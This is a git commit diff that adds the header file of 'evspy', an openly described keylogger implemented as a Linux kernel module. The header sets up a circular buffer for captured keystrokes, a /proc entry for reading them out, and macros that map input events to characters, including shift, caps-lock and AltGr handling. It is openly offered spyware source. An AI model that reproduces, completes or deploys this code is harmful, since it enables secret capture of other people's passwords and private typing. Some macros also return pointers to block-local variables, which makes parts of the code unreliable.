Deleted cbuf.[c,h]

Circular buffer implementation moved back to evspy-core.c
evspy-core.h renamed to evspy.h and added #ifdef's

1 files changed, 115 insertions, 0 deletions

diff --git a/evspy.h b/evspy.h
new file mode 100644
index 0000000..a420753
--- /dev/null
+++ b/evspy.h
@@ -0,0 +1,115 @@
+/*
+ *   evspy - event based keylogger (Linux module)
+ *
+ *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef _EVSPY_EVSPY_H
+#define _EVSPY_EVSPY_H
+
+
+#include <linux/cred.h>
+#include <linux/init.h>
+#include <linux/input.h>
+#include <linux/kfifo.h>
+#include <linux/module.h>
+#include <linux/proc_fs.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+#include <linux/stat.h>
+#include <linux/string.h>
+#include <asm/page.h>
+#include "kmap/kmap.h"
+
+// Keyboard layouts
+#define EVS_KLAY_EN		0
+#define EVS_KLAY_ES		1
+
+#define EVS_NAME		"evspy"				// driver name
+#define EVS_KLAY		EVS_KLAY_ES			// change this to your keyboard layout
+#define EVS_TROLL		1					// clear this if you're a serious guy
+#define EVS_BUFSIZE		PAGE_SIZE			// size of the circular buffer (4K)
+#define EVS_PROCNAME	"driver/" EVS_NAME	// virtual file within /proc
+
+#include "maps/maps.h"
+
+// Event values
+#define	EVS_VAL_FREE		0
+#define	EVS_VAL_PRESS		1
+#define	EVS_VAL_HOLD		2
+
+#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
+
+/*
+ * Insert character c into the circular buffer pointed by fifop
+ */
+#define evs_insert(fifop, c)		\
+({		\
+	if (kfifo_is_full(fifop))		\
+		kfifo_skip(fifop);		\
+	kfifo_put((fifop), c);		\
+})
+
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c)		\
+({		\
+	((c) >= KEY_F1 && (c) <= KEY_F10) ||		\
+	((c) == KEY_F11 || (c) == KEY_F12) ||		\
+	((c) >= KEY_F13 && (c) <= KEY_F24);		\
+})
+
+/*
+ * Returns the character associated with event code c when shift is pressed
+ */
+#define evs_shift(c)		\
+({		\
+	void *__vp;		\
+	char __c;		\
+	if ((shift_on != capslock_on) && is_ascii(c)) {		\
+		__c = map[c] + ('A'-'a');		\
+	} else if (is_ascii(c) || !shift_on) {		\
+		__c = map[c];		\
+	} else {		\
+		if ((__vp = kmap_get(skm, (c))))		\
+			__c = *(char *)__vp;		\
+		else		\
+			__c = map[c];		\
+	}		\
+	&__c;		\
+})
+
+/*
+ * Returns the character associated with event code c when altgr is pressed
+ */
+#ifdef EVS_ALTGR_ENABLED
+#define evs_altgr(c)		\
+({		\
+	void *__vp;		\
+	char __c;		\
+	__vp = kmap_get(akm, (c));		\
+	if (__vp) __c = *(char *)__vp;		\
+	else __c = map[c];		\
+	&__c;		\
+})
+#endif
+
+
+#endif		/* _EVSPY_EVSPY_H */